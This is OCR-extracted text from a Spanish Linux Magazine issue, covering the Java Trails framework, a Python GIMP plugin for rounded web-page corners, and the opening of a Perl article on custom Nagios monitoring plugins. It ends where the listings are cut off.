12 13 import org.apache.commons.lang.builde r.EqualsBuilder; 14 import org.hibernate.validator.NotNul l; 15 import org.trails.descriptor.annotati on.Collection; 16 import org.trails.descriptor.annotati on.PropertyDescriptor; 17 import org.trails.validation.Validate Uniqueness; 18 19 @Entity 20 @ValidateUniqueness(property=” title”) 21 public class Movie { 22 private Integer id; 23 private String title;
24 25
private Integer year; private Set<Actor> actors= new HashSet<Actor>();
26 27 @PropertyDescriptor(index=0) 28 @Id(generate=GeneratorType.AUT O) 29 public Integer getId() { 30 return this.id; 31 } 32 33 public void setId(Integer id) { 34 this.id = id; 35 } 36 37 @PropertyDescriptor(index=1) 38 @NotNull 39 public String getTitle() { 40 return title; 41 } 42 43 public void setTitle(String title) { 44 this.title = title; 45 } 46 47 @PropertyDescriptor(index=2) 48 public Integer getYear() { 49 return year; 50 } 51
WWW.LINUX- MAGAZINE.ES
52
public void setYear(Integeryear) { 53 this.year = year; 54 } 55 56 @PropertyDescriptor(index=3) 57 @OneToMany(cascade=CascadeType .ALL) 58 @JoinColumn(name=”movieId”) 59 @Collection(child=true) 60 public Set<Actor> getActors() 61 { 62 return actors; 63 } 64 65 public void setActors(Set<Actor> actors) 66 { 67 this.actors = actors; 68 } 69 70 public boolean equals(Object obj) { 71 return EqualsBuilder.reflectionEquals (this, obj); 72 } 73 74 public String toString() { 75 return this.getTitle(); 76 } 77 }
Número 20
47
DESARROLLO • Java
verificamos el repositorio CVS en busca del código fuente de Trails, podemos ver que los paquetes están ahí. Trails necesita un archivo de configuración adicional, que no es sólo para la localización: /myvideos/context/WEB-INF/applicationContext.xml integra el entorno de desarrollo Spring con Trails. No sólo referencia los beans requeridos por Trails e Hibernate, sino que también les añade varias propiedades. Es también el lugar adecuado para integrar los conjuntos de mensajes como los mostrados en el Listado 4. Los valores de este parámetro pueden referenciarse de diferentes maneras dentro de las páginas de Tapestry. Como la validación tiene lugar dentro del objeto de dominio, también es posible agregar la salida a posibles validadores de campo: @NotNull(message=”U {error.emptyMessage}”) @Pattern(regex=U “[A-z|\\s]+”,message=U “{error.letterOrSpace}”)
Para mantener la configuración de Trails tan sencilla como sea posible, se integra la versión in-memory de HSQL [9] como base de datos por defecto. OpenOffice también
Listado 4: Conjunto de Mensajes 01 <!— Message source for this context, loaded from localized “messages_xx” files —> 02 <bean id=”messageSource” class=”org.springframework.con text.support.ResourceBundleMes sageSource”> 03 <property name=”basename”> 04 <value>messages</value> 05 </property> 06 </bean> 07 08 <bean id=”trailsMessageSource” class=”org.trails.i18n.Default TrailsResourceBundleMessageSou rce”> 09 <property name=”messageSource”><ref local=”messageSource”/></prope rty> 10 </bean>
48
Número 20
usa esta base de datos. Para las demás bases de datos, los desarrolladores tienen que editar el archivo hibernate.properties en el directorio directorio de root/myvideos/context/WEB-INF. Pero debemos tener cuidado: Hibernate no soporta todas las bases de datos. Podemos visitar [10] y [11] para comprobar qué bases de datos están soportadas.
Soporte para Ajax Dentro del andamiaje de la aplicación, un archivo denominado [applicationname].application configura el entorno de Tapestry. El archivo hace referencia a la librería de Ajax, Tacos [12]. Una de las ventajas principales que ofrece Ajax es el renderizado parcial de los componentes de la página. Esto es útil para páginas grandes con muchos componentes de entrada y salida. Cuando un usuario está esperando delante de una aplicación Web, hay una gran diferencia si el navegador tiene que redibujar 20 campos de entrada en un formulario o un solo campo. Tacos, y por tanto Trails, resuelve esto de una sencilla manera. Desafortunadamente, el desarrollador Web no sólo necesita modificar la página HTML, sino que también tiene que implementar una clase modelo para hacer esto en Tapestry. Pero, de nuevo, la ayuda está en camino: el desarrollador promete una manera más sencilla de resolverlo en el próximo lanzamiento. Si no podemos esperar a que llegue, debemos echarle un vistazo al ejemplo en Ajax en [2].
Realmente Bonito Al igual que es imposible decir Rails sin decir Ruby, es imposible decir Trails sin decir Tapestry si queremos desarrollar proyectos de una cierta envergadura. Rails debe gran parte de su potencia al lenguaje de programación dinámica Ruby. Java no soporta atributos dinámicos y métodos (al menos en el momento de escribir estas líneas). De hecho, Rails tiene muchos extras que se echan en falta en Trails, como soporte para email, por ejemplo, aunque el email debería ser fácil de implementar con Javamail. También se echa en falta una interfaz de servicios Web adecuada, aunque el entorno de trabajo de servicios Web de Apache, Axis [13], debería solventar esto. Por otro lado, Trails tiene la capacidad de enlazar bases de datos existentes a través de Hibernate, en contraste con el mapeador O/R de Rails, ActiveRecord.
WWW.LINUX- MAGAZINE.ES
Hemos de admitir que todavía queda mucho trabajo por hacer, desde el momento en el que la versión 0.8 de Trails aún está a un par de pasos del lanzamiento 1.0. Si nos tomamos la molestia de comprobar las versiones actuales de Trails desde el repositorio CVS, encontraremos referencias a las funcionalidades de la próxima versión de Trails. Además del soporte para I18N comentado anteriormente, el marco de trabajo Trails puede esperar un nuevo paquete basado en el framework de seguridad Acegi para Spring [14]. Este paquete de seguridad permitirá al desarrollador mover declaraciones de seguridad a la definición de contexto de la aplicación, al estilo típico de Spring. Y si Chris Nelson pule un poco la documentación, y los avispados desarrolladores encuentran la manera de integrar Java Server Faces en lugar de Tapestry, Trails puede convertirse en una popular alternativa para crear modernas aplicaciones Web J2EE. ■
RECURSOS [1] “Bien Encaminados,” por Armin Röhrl, Stefan Schmiedl, Número 3 de Linux Magazine edición en castellano, pag. 32. [2] Trails http://trails.dev.java.net [3] Jakarta Tapestry: http://jakarta.apache. org/tapestry [4] AspectJ: http://www.eclipse.org/ aspectj [5] Spring Framework: http://www. springframework.org [6] EJB 3.0 Annotation (JSR-220) en http://www.jcp.org/aboutJava/ communityprocess/edr/jsr220 [7] Hibernate Annotations en http://www. hibernate.org/hib_docs/annotations/ reference/en/html [8] Chris Nelson’s Weblog: http://jroller. com/page/ccnelson/ Weblog?catname=/Trails [9] HSQL: http://hsqldb.org [10] Bases de datos soportadas oficialmente por Hibernate: http://www. hibernate.org/260.html [11] Bases de datos soportadas no oficialmente por Hibernate: http://www. hibernate.org/80.html [12] Tacos: http://tacos.sourceforge.net [13] Apache Axis: http://ws.apache.org/ axis [14] Acegi Security Framework para Spring: http://acegisecurity.org
Python• DESARROLLO
Plugins para GIMP y web 2.0
PLUGINS 2.0 La moda rige el diseño, y la moda ahora mismo es que todas las cajas de texto en la web tengan las esquinas redondeadas. Python puede ayudarnos a simplificar esta tarea. POR JOSE MARÍA RUIZ
L
os plugins son una de las grandes armas de Gimp, y podemos trabajar en Python creando scripts como si fuesen programas normales y corrientes. En el número 5 de Linux Magazine edición en castellano se vió el trabajo básico con scripts, en este otro comenzaremos con algunas características más avanzadas.
«Las esquinas no deben pinchar» Este podría ser uno de los lemas de los diseñadores de web de última ola. De pronto todas las web se han vuelto redondas, desapareciendo las cajas con esquinas puntiagudas a una velocidad pasmosa.
Figura 1: Comenzamos creando la imagen base. 01 height = width = radius*2 02 img = gimp.Image(width, height, RGB) 03 drawable = gimp.Layer(img, “Capa de Esquina”, width, height, RGB_IMAGE, 100, NORMAL_MODE) 04 pdb.gimp_image_add_layer(img,d rawable,0) 05 gimp.set_foreground(fg_color) 06 gimp.set_background(bg_color) 07 pdb.gimp_drawable_fill(drawabl e,BACKGROUND_FILL)
Pero el problema es cómo conseguir ese efecto tan deseado. Existen varias maneras. La primera, y más tradicional, consiste en generar en Gimp una caja completa de forma gráfica y después llevarla a HTML. El problema con este enfoque es que la caja es estática y no crece. Otra posible solución es emplear algunos de esos toolkits que existen para Ajax que incorporan efectos «especiales». La mayoría de ellos permiten redondear cajas de forma automática, pero a costa de sobrecargar la página. Generalmente funcionan, pero su técnica se basa en emplear HTML para conseguir el redondeo, y si el color de fondo de la página no es blanco se pueden observar unas molestas puntitas blancas en cada caja. La solución más interesante es crear cuatro pequeñas esquinas redondeadas y ponerlas en las cuatro esquinas de la caja empleando HTML. Este proceso, aunque complicado, es el que da mejores resultados. Pero desgraciadamente puede ser un suplicio generar esas esquinas constantemente. Por ello aquí llegan Gimp y Python automatizando el proceso completamente.
La única herramienta con la que contamos, como se vio en el número 5 de Linux Magazine (ver Recurso [1]) es el navegador de procedimientos o funciones. Con él podemos acceder al listado de funciones disponibles en nuestra actual instalación de Gimp. Para poder detectar si nuestro plugin da errores lo mejor es ejecutar Gimp desde una consola. No es la solución más elegante pero nos permite saber cuando algo va mal.
Gimp-Python Cuando se creó el primer sistema de plugins para Gimp se le llamó Python-Fu, en referencia al existente Script-Fu. Este conjunto de librerías tenían un inconveniente, trabajaban a un nivel demasiado bajo. Así que se creó otro conjunto de librerías llamado Gimp-Python. ¿Cuál usar? Lo cierto es que hay que usar una mezcla de ambos sistemas. Python-Fu está diseñado en base a librerías de funciones. Las funciones poseen
¡La documentación! Es el gran problema: apenas hay documentación en castellano o en inglés sobre la creación de plugins Python para Gimp. Por increíble que parezca este problema no tiene visos de solucionarse.
WWW.LINUX- MAGAZINE.ES
Figura 1: El navegador de funciones de Python-Fu nos permite comprobar los parámetros que aceptan y obtener algo de ayuda sobre su uso. Las funciones generalmente están en inglés.
Número 20
49
DESARROLLO • Python
Figura 6: código completo 001 #!/usr/bin/env python 002 # 003 #Copyright (C) 2006 Jason Kivlighn <jkivlighn@gmail.com> 004 #Copyright (C) 2006 José María Ruiz Aguilera <josemaria@ieee.org> 005 # 006 #This program is free software; you can redistribute it and/or 007 #modify it under the terms of the GNU General Public License 008 #as published by the Free Software Foundation; either version 2 009 #of the License, or (at your option) any later version. 010 # 011 #This program is distributed in the hope that it will be useful, 012 #but WITHOUT ANY WARRANTY; without even the implied warranty of 013 #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 014 #GNU General Public License for more details. 015 # 016 #You should have received a copy of the GNU General Public License 017 #along with this program; if not, write to the Free Software 018 #Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 019 020 # http://students.washington.edu/jkivligh/view_sour ce.php?file=/jkivligh/gimp_rounded_corners/gen_co rners.py 021 022 import math 023 from gimpfu import * 024 025 def python_gen_corners( radius, fg_color, bg_color, file_prefix, directory ): 026 height = width = radius*2 027 img = gimp.Image(width, height, RGB) 028 drawable = gimp.Layer(img, “Capa de la Esquinas”, width, height, 029 RGB_IMAGE, 100, NORMAL_MODE) 030 pdb.gimp_image_add_layer(img,drawable,0) 031 032 gimp.set_foreground(fg_color) 033 gimp.set_background(bg_color) 034 035 pdb.gimp_drawable_fill(drawable,BACKGROUND_FILL) 036 037 pdb.gimp_ellipse_select(img,0,0,radius*2,radius*2
50
Número 20
,CHANNEL_OP_REPLACE,TRUE,FALSE,0) 038 pdb.gimp_edit_bucket_fill(drawable,FG_BUCKET_FILL ,NORMAL_MODE,100,1,FALSE,0,0) 039 040 041
042 043 044 045
pdb.gimp_rect_select(img,0,0,radius,radius,CHANNE L_OP_REPLACE,FALSE,0) pdb.gimp_edit_copy(drawable) tl_img = gimp.Image(radius, radius, RGB) tl_drawable = gimp.Layer(tl_img, “Arriba Izquieda”, radius, radius, RGB_IMAGE, 100, NORMAL_MODE)
046 pdb.gimp_image_add_layer(tl_img,tl_drawable,0) 047 pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste( tl_drawable,TRUE)) 048 049 050
051 052 053 054
pdb.gimp_rect_select(img,radius,0,radius,radius,C HANNEL_OP_REPLACE,FALSE,0) pdb.gimp_edit_copy(drawable) tr_img = gimp.Image(radius, radius, RGB) tr_drawable = gimp.Layer(tr_img, “Arriba Derecha”, radius, radius, RGB_IMAGE, 100, NORMAL_MODE)
055 pdb.gimp_image_add_layer(tr_img,tr_drawable,0) 056 pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste( tr_drawable,TRUE)) 057 058 059
060 061 062 063
pdb.gimp_rect_select(img,0,radius,radius,radius,C HANNEL_OP_REPLACE,FALSE,0) pdb.gimp_edit_copy(drawable) bl_img = gimp.Image(radius, radius, RGB) bl_drawable = gimp.Layer(bl_img, “Abajo Izquierda”, radius, radius, RGB_IMAGE, 100, NORMAL_MODE)
064 pdb.gimp_image_add_layer(bl_img,bl_drawable,0) 065 pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste( bl_drawable,TRUE)) 066 067 068 pdb.gimp_rect_select(img,radius,radius,radius,rad ius,CHANNEL_OP_REPLACE,FALSE,0)
WWW.LINUX- MAGAZINE.ES
Python • DESARROLLO
nombres bastante largos, separados por «_». Mientras tanto, Gimp-Python emplea objetos y trata de ser de tan alto nivel como sea posible (para documentación sobre Gimp-Python ver Recurso [2]). Las funciones de Script-Fu están en el módulo PDB, que aglomera todas las funciones de los plugin, a
diferencia de los objetos y métodos de Gimp-Python que están en el módulo gimp. En uno de los últimos cambios de versión se hizo que todos los nombres de objetos de Gimp-Python comenzaran con una mayúscula. Esto puede entrar en conflicto con plugins y documentación antigua donde por ejemplo:
Figura 6: código completo (continuación) 069 070 071
pdb.gimp_edit_copy(drawable) br_img = gimp.Image(radius, radius, RGB) br_drawable = gimp.Layer(br_img, “Abajo Derecha”, radius, radius, 072 RGB_IMAGE, 100, NORMAL_MODE) 073 pdb.gimp_image_add_layer(br_img,br_drawable,0) 074 pdb.gimp_floating_sel_anchor(pdb.gimp_edit_paste(br_drawable,TRUE)) 075 076 filename = directory+”/”+file_prefix+”tr.png” 077 pdb.file_png_save_defaults( tr_img, tr_drawable, filename, filename ) 078 079 filename = directory+”/”+file_prefix+”tl.png” 080 pdb.file_png_save_defaults( tl_img, tl_drawable, filename, filename ) 081 082 filename = directory+”/”+file_prefix+”br.png” 083 pdb.file_png_save_defaults( br_img, br_drawable, filename, filename ) 084 085 filename = directory+”/”+file_prefix+”bl.png” 086 pdb.file_png_save_defaults( bl_img, bl_drawable, filename, filename ) 087 088 register( 089 “python_fu_gen_corners”, 090 “Genera esquinas redondeados”, 091 “Genera esquinas redondeados. Muy útil para páginas web.” 092 “José María Ruiz Aguilera”, 093 “Jason Kivlighn”, 094 “2006”, 095 “<Toolbox>/Python-Fu/_Genera Esquinas”, 096 “RGB*, GRAY*”, 097 [ 098 (PF_INT, “radius”, “Radio”, 10), 099 (PF_COLOR, “fg_color”, “Color Primer Plano”, (255,255,255)), 100 (PF_COLOR, “bg_color”, “Color de Fondo”, (0,0,0)), 101 (PF_STRING, “file_prefix”, “Prefijo del Fichero”, “border_”), 102 (PF_FILE, “directory”, “Directorio”, “”) 103 ], 104 [], 105 python_gen_corners) 106 107 main()
WWW.LINUX- MAGAZINE.ES
gimp.image(),
es la norma, mientras que en las últimas versiones devolvería un error. Ahora todos los objetos comienzan por mayúscula: • gimp.Image().
Imágenes y Layers Hay que comprender estos tres elementos y entenderlos bien para poder trabajar con Gimp. Una image es un objeto que contiene la información básica, como el nombre, resolución o los datos gráficos. Pero una image no nos sirve de nada como tal. La mayoría de las funciones de Gimp operan sobre drawables (podemos traducirlo como «dibujables»). Existen dos tipo de drawables: layers y masks. Por el momento nos interesan los layers. Un layer no es más que una capa que podemos poner sobre la imagen. Las capas poseen gran cantidad de propiedades, pero las más distintivas son su opacidad (la cantidad de luz de la imagen de abajo que deja pasar) así como la manera en que se «mezcla» con ella. Existen muchas funciones de mezcla, podemos sumar colores, dividirlos, disolverlos,… Por tanto cuando se crea una capa, hay que vincularla con una imagen, decir cuál será su opacidad y cómo se relacionará con la capa o datos que tenga «debajo». Las capas también tienen nombre, y a través de él podremos especificar acciones sobre capas específicas. Sobre las capas podemos trabajar con selecciones, y las selecciones pueden cortar o delimitar secciones de la capa donde podemos operar, introduciendo color, degradados o ejecutar cualquiera de las funciones o filtros que vienen por defecto con Gimp.
Figura 2: los creadores de Python-Fu han puesto una serpiente ¡para que no olvidemos que trabajamos con Python! Este cuadro de diálogo se genera automáticamente.
Número 20
51
DESARROLLO • Python
Figura 3: ¡Todo ha ido bien!
En nuestro ejemplo emplearemos el portapapeles para copiar selecciones y pegarlas posteriormente en distintas imágenes.
Primeros pasos Vamos a comenzar nuestro trabajo, ver Figura 1. Preparamos el alto y el ancho que especificamos para los bordes redondeados. No es conveniente que sean demasiado grandes porque el resultado final se verá excesivamente redondeado. Generamos una imagen RGB y una capa sobre ella que usaremos como patrón para construir las otras cuatro esquinas. Entonces añadimos la capa a la imagen, esta capa se montará encima de la imagen. Establecemos los colores de fondo y principal. Estos colores se usarán por defecto siempre que pintemos o dibujemos, por eso es importante controlarlos. Una vez definidos los colores por defecto usamos gimp_drawable_fill para colorear la capa recién creada usando el color de fondo por defecto.
Cuatro bordes, cuatro ficheros El objetivo es ahorrarnos el trabajo de tener que generar los 4 bordes constantemente. Comenzaremos generando uno. Para ello usamos la combinación, ver Figura 2. La primera función selecciona una elipse, un círculo que puede estar
Figura 2: Creación de la capa base 01 pdb.gimp_ellipse_select(img,0, 0,radius*2,radius*2,CHANNEL_OP _REPLACE,TRUE,FALSE,0) 02 pdb.gimp_edit_bucket_fill(draw able,FG_BUCKET_FILL,NORMAL_MOD E,100,1,FALSE,0,0)
52
Número 20
aplastado, sobre la imagen. Como lo que queremos es un círculo, pasamos como centro el (0,0) y un alto y ancho iguales (radio*2). CHANNEL_OP_REPLACE expresa qué queremos hacer con nuestra elipse. En este caso sólo queremos reemplazar cualquier selección existente con la nueva. Los últimos tres parámetros le dicen a la función cosas tales como si queremos que se aplique Antialias. Ya tenemos nuestro círculo señalado, ahora necesitamos rellenarlo con algo. Aquí entra en escena la segunda función. Curiosamente, en lugar de aceptar un objeto de imagen necesita un objeto drawable. Por tanto, le pasamos la capa que generamos anteriormente. La acción a realizar es FG_BUCKET_FILL, que significa que usemos el «cubo» para verter el color que seleccionamos como principal, foreground, y cómo queremos que se comporte respecto al resto de colores que quedarán debajo. Aquí decimos que NORMAL_MODE, que los cubra de forma normal. El 100 viene a decir que queremos opacidad total. El (0,0) final se aplicaría sólo en el caso de que no hubiéremos señalado nada y sería la posición de arranque para comenzar a pintar. Aquí no es necesario, pero debemos pasar algún dato, por eso pasamos un inocuo (0,0). Bueno, ya tenemos una circunferencia coloreada, ver Figura 3. Procedemos ahora a hacer una selección rectangular, con la que cubrimos el círculo que hemos coloreado. Después usamos gimp_edit_copy() para copiar la selección al portapapeles, y generamos una nueva imagen con las mismas dimensiones que la selección que hemos copiado, generando una nueva capa sobre la nueva imagen. Añadimos la nueva capa a la imagen recién creada, que se corresponderá con el borde superior izquierdo, y copiamos sobre ella lo que teníamos en el portapapeles, la selección de una circunferencia coloreada. Ya tenemos una de las esquinas lista: la superior izquierda, por conveniencia usaremos tl como sigla para referirnos a ella (TopLeft, ArribaIzquierda) porque es más sencillo distinguir las variables (Arriba y Abajo comienzan por «A», así que en castellano podríamos distinguirlas). Ver Figura 4.
WWW.LINUX- MAGAZINE.ES
Figura 4: Esquina aumentada para poder verla correctamente.
Procedemos ahora con la esquina superior derecha. Como ya tenemos en el portapapeles una capa con el fondo, lo que hacemos es realizar la selección, pero cambiando los puntos de arranque. Es la acción equivalente a girar la capa. Creamos una nueva imagen, que llamamos tr_img por Top Right (Arriba Derecha), y pegamos desde el portapapeles con gimp_edit_paste. Hacemos lo mismo con el borde de «Abajo Izquierda» y con el de «Abajo Derecha». Tenemos los cuatro bordes en cuatro variables.
Figura 3: Creación de la esquina superior izquierda 01 pdb.gimp_rect_select(img,0,0,r adius,radius,CHANNEL_OP_REPLAC E,FALSE,0) 02 pdb.gimp_edit_copy(drawable) 03 tl_img = gimp.Image(radius, radius, RGB) 04 tl_drawable = gimp.Layer(tl_img, “Arriba Izquierda”, radius, radius, RGB_IMAGE, 100, NORMAL_MODE) 05 pdb.gimp_image_add_layer(tl_im g,tl_drawable,0) 06 pdb.gimp_floating_sel_anchor(p db.gimp_edit_paste(tl_drawable ,TRUE))
Python • DESARROLLO
formato PNG, pero podríamos haber elegido JPEG mediante el uso de file_jpeg_save_defaults(). Realizamos esta misma acción para cada uno de los cuatro bordes. Y se acabó, ya tenemos nuestros ficheros listos para ser usados.
El registro del plugin
Figura 5: Resultado final.
Guardamos en disco Tenemos que crear los ficheros y guardar en ellos los distintos bordes. filename = directory+”/”+U file_prefix+”tr.png” pdb.file_png_save_defaultsU ( tr_img, tr_drawable,U filename, filename )
Generamos una ruta en filename. Usamos para ello el directorio, el nombre del fichero y una terminación distinta para cada borde. Para guardar el fichero en disco duro empleamos la función file_png_save_defaults(). Gimp proporciona un gran número de funciones tanto de carga de ficheros como para guardarlos. Cada función posee un nombre que refleja el formato en que trabaja. En este caso estamos guardando el fichero en
Figura 4: Creación de la esquina superior derecha 01 pdb.gimp_rect_select(img,radiu s,0,radius,radius,CHANNEL_OP_R EPLACE,FALSE,0) 02 pdb.gimp_edit_copy(drawable) 03 tr_img = gimp.Image(radius, radius, RGB) 04 tr_drawable = gimp.Layer(tr_img, “Arriba Derecha”, radius, radius,RGB_IMAGE, 100, NORMAL_MODE) 05 pdb.gimp_image_add_layer(tr_im g,tr_drawable,0) 06 pdb.gimp_floating_sel_anchor(p db.gimp_edit_paste(tr_drawable ,TRUE))
Los plugins de Gimp necesitan registrarse para poder ser usados y aparecer en los menús, el código en este caso es, ver Figura 5. Cada una de las opciones merece una explicación. La función register() acepta nada menos que 11 parámetros, y todos son obligatorios: • nombre: nombre con el que aparecerá en el navegador • blurb: pequeña descripción del plugin • ayuda: ayuda para el uso • autor: nombre del autor • copyright: a quién pertenece el copyright • fecha: fecha de creación (normalmente el año) • ruta en el menú: puede comenzar con <Image> o <Toolbox>. En el primer caso aparecerá una entrada en el menú contextual de la imagen (será necesario tener primero una imagen), y en el segundo aparecerá una entrada en el menú de extensiones sin necesidad de trabajar con un fichero previamente. • tipos de imágenes: con qué tipos de imágenes puede trabajar el plugin. • parámetros: es una lista de los campos que se mostrarán al usuario y que deben coincidir con los parámetros que acepta la función operativa. Cada entrada se compone del tipo de campo(PF_INT entero, PF_COLOR color, PF_FILE un fichero…), el nombre de la variable relacionada con ese campo, el nombre que se usará cuando se muestre el campo al usuario y los valores en los que puede oscilar el campo. • resultados: otra lista, pero esta vez con el tipo de los resultados. • función: y por último, el nombre de la función que responderá en caso de llamada. Rellenar todos estos campos es un proceso pesado pero importante, puesto que el navegador emplea la información que se obtiene del registro para mostrársela al usuario cuando lo navegue.
WWW.LINUX- MAGAZINE.ES
Conclusión Como ya se dijo en el número 5, el proceso de desarrollo y debugging de plugin para Gimp en Python es tortuoso y en algunos casos muy complicado debido a la ausencia de documentación. La única vía de información son los escasos tutoriales presentes en la Web. Aún así, Python proporciona un enorme potencial a Gimp simplificando muchas tareas enormemente dificultosas ■ con otros lenguajes.
Figura 5, Registro de la función. 01 register( 02 “python_fu_gen_corners”, 03 “Generate four rounded corners”, 04 “Generate four rounded corners. Useful for writing web pages with many rounded corners.”, 05 “Jason Kivlighn”, 06 “Jason Kivlighn”, 07 “2006”, 08 “<Toolbox>/Python-Fu/_Generate Corners”, 09 “RGB*, GRAY*”, 10 [ 11 (PF_INT, “radius”, “Radius”, 10), 12 (PF_COLOR, “fg_color”, “Foreground Color”, (255,255,255)), 13 (PF_COLOR, “bg_color”, “Background Color”, (0,0,0)), 14 (PF_STRING, “file_prefix”, “File prefix”, “border_”), 15 (PF_FILE, “directory”, “Directory”, “”) 16 ], 17 [], 18 python_gen_corners)
RECURSOS [1] Artículo sobre plugins Python para GIMP: http://www.linux-magazine.es/ issue/05/GimpScripts.pdf [2] Documentación sobre el uso de Python para GIMP: http://www.gimp. org/docs/python/index.html
Número 20
53
DESARROLLO • Perl
Creamos nuestros propios plugins para Nagios
EL VIGILANTE Podemos crear un plugin en Perl para aprovechar la potencia de la herramienta de monitorización Nagios. POR MICHAEL SCHILLI
P
uede que le sea familiar la siguiente escena: escuchamos la voz de nuestro compañero (definitivamente tecnófobo) en el despacho contiguo gritando “¡Mi Internet no funciona!” Una posible respuesta puede ser comprobar laboriosamente si el router está realmente hablando con nuestro proveedor o si podemos acceder al servidor de DNS. Pero la localización y resolución de problemas es mucho más fácil si disponemos de un software que monitoriza las funciones críticas y nos muestra un amigable resumen basado en Web como el mostrado en la Figura 1. La herramienta en software libre Nagios es perfecta para este tipo de monitorización. Los desarrolladores disponen de una gran lista de plugins en [2]. Los plugins pueden ayudarnos a monitorizar páginas Web, bases de datos, redes y
muchas otras cosas. Si tenemos alguna necesidad especial no cubierta por los plugins estándar, podemos confeccionar uno que se adapte a nuestras necesidades. Sólo por dar un ejemplo, Nagios puede llevar a cabo tests para verificar si un proveedor de hosting nos está dando un servidor con suficientes recursos, en lugar de sobrecargar el servidor albergando demasiadas páginas Web en él. Si, por razones de seguridad, la instalación de Nagios en la máquina local no tiene acceso directo a la shell del lado servidor, podemos instalar un agente en la página Web.
Estadísticas E/S Si situamos el script de agente iostat.cgi (Listado 1) en el directorio CGI del servidor Web que queremos investigar, nos será de gran ayuda. El script se activa con una petición HTTP, llama al comando iostat de Linux, y envía algunos
resultados al cliente, que resulta ser un plugin de Nagios. El plugin interpreta entonces los resultados y usa el código de salida para indicarle a Nagios si los valores son correctos o si ha encontrado problemas (véase Tabla 1). El script CGI, iostat.cgi, usa la función tap del módulo Sysadm::Install de CPAN para llamar al comando iostat con los valores 1 y 2 (línea 8). Debido al valor del intervalo de 1, y al valor de contador de 2, mide el rendimiento de la CPU y de la E/S del disco duro dos veces por segundo y genera el resultado de la Figura 3. El primer test nos da el valor medio desde el último reinicio, mientras que el segundo es más interesante para Nagios, ya que agrega el rendimiento por segundo mientras se está ejecutando. La columna %idle nos indica el tiempo que ha estado disponible la CPU, y iowait mide cuánto ha tenido que esperar la CPU al disco duro. Desde el punto de vista del consumidor lo más deseable es un valor alto de %idle y un valor bajo de %iowait. El script iostat.cgi del Listado 1 lee la salida de iostat y descarta el primer conjunto de valores medidos. Para ello, usa la expresión regular $RE{num}{real} del repositorio Regexp::Common para analizar los valores numéricos. A continuación
Tabla 1: Valores de salida Valor de salida 0 1 2 3
54
Número 20
WWW.LINUX- MAGAZINE.ES
Texto
Significado
OK Todo correcto WARNING Problema en servicio CRITICAL Problema en servicio crítico UNKNOWN Problema con el plugin
Perl • DESARROLLO
Figura 1: Esta página resumen de Nagios nos muestra que los tests locales han sido completados con éxito, pero que el router y todo lo que está más allá, están inaccesibles.
de la cabecera HTTP obligatoria, devuelve una cadena tal que user 2.99 nice 0.00 sys 0.00 iowait 0.00 idle 96.52. La llamada declaración de anchura cero, \G (línea 20), evita que el motor de expresiones regulares vuelva atrás al comienzo del texto en cada ocasión y le indica que continúe la búsqueda tras la última coincidencia.
Carga Límite En la parte de Nagios, el plugin del Listado 2 hace uso de LWP::Simple para llamar al script CGI que acabamos de ver en el servidor, captura la línea de salida y ejecuta split para dividir la salida en campos para guardarlos en el hash %values. Si la disponibilidad de la CPU es menor del 50%, el plugin reporta un estado crítico. Para valores menores al 80% sólo muestra un aviso. Se aplica el mismo principio al valor iowait, pero los valores umbral son del 10 y 20 por ciento en este caso. El módulo Nagios::Clientstatus de CPAN descarga algo de trabajo del plugin al verificar si éste ha pasado todos los parámetros requeridos. El método exitvalue también entiende cadenas como warning, más que el valor numérico 1 del mundo de Nagios. Si ejecutamos el plugin en línea de comandos tecleando:
check_iostat -url= U http://server/cgi/iostat.cgi
el plugin devuelve las siguientes líneas de salida: IOSTAT OK - user 2.99 U nice 0.00 sys 0.00 iowait 0.00 idle 96.52
Más tarde Nagios llamará al plugin de esta manera, interpretará los valores de salida y mostrará el texto resultante del plugin en stdout. Nótese que Nagios::Clientstatus requiere la versión 2.35 o superior de Getopt::Long.
Integrar el Plugin Para añadir el nuevo plugin a la instalación de Nagios, el administrador debe copiar el script check_iostat al directorio /usr/local/nagios/libexec y darle permisos de ejecución. En la Figura 4 se añade una plantilla denominada ez-service a la configuración de Nagios. Esto hace más sencillo añadir más servicios posteriormente. En las configuraciones de Nagios es una práctica común definir plantillas, que se identifican con facilidad por sus entradas register 0. Las definiciones de los servicios pueden usarse más tarde para añadir entradas especiales a las plantillas.
WWW.LINUX- MAGAZINE.ES
La configuración define service de la Figura 4 define el nuevo servicio Iostat. Se construye en base a la plantillas use ez-service, que definimos anteriormente, y acepta varios parámetros para ejecutar tests, notificaciones por email y muchas otras cosas. Estas configuraciones de plantilla se heredan luego por la definición de servicio y pueden ser anuladas en caso necesario. Algunas configuraciones y sus significados: la entrada notification_interval 0 evita que Nagios envíe múltiples emails para reportar un único problema. Los administradores pueden fijar normal_check_interval para especificar el intervalo entre tests de servicio, en minutos, y max_check_attempts para especificar qué número de tests permitimos que fallen antes de que nos lo notifique Nagios. service_notification_options especifica qué cambios en el estado de Nagios se nos deben notificar con un mensaje. La opción w se refiere a un aviso, u para desconocido, c de crítico y r de recuperación. Un principio similar se aplica a host_notification_options: además de unknown y recovery, nos permite la opción d para caído.
El Servidor Solitario Si el servidor Nagios está aislado del resto del mundo debido a un fallo en la red, obviamente no vamos a recibir ningún email a través de Internet. En este caso, el administrador recibe al menos un email de recuperación tan pronto como se haya arreglado el problema. Nagios soporta también administradores de eventos para definir acciones que llevar a cabo al detectar un error. El sistema puede solucionar problemas de manera autónoma sin la intervención de un administrador. Con Nagios 2.0, un servicio siempre se mapea a un host al que se le comprueba la disponibilidad independientemente. Las especificaciones del host requieren entradas en el archivo de configuración. La línea host_name dreamhost en la configuración del ejemplo define el nombre del host, al que nos vamos a referir más tarde en la página de visualización de Nagios.
Número 20
55
DESARROLLO • Perl
específicos. En el clásico estilo de plugins de Nagios, acepta parámetros en línea de comandos para los valores umbral. Si realizamos la llamada: check_temperature -warn=30 U -crit=35 -dsname=Inside
Listado 2: check_iostat 01 02 03 04 05 06 07 08 09 Figura 2: Nagios nos muestra un gráfico para indicarnos con qué frecuencia ha sido imposible acceder a un sistema.
El parámetro de definición de servicio check_command especifica cómo realizar la llamada al plugin check_iostat. Sin embargo, la llamada no se realiza directamente en la definición del servicio. En su lugar, usa un comando configurado anteriormente por define command para especificar la línea de
Listado 1: iostat.cgi 01 02 03 04 05 06 07 08 09 10 11 12
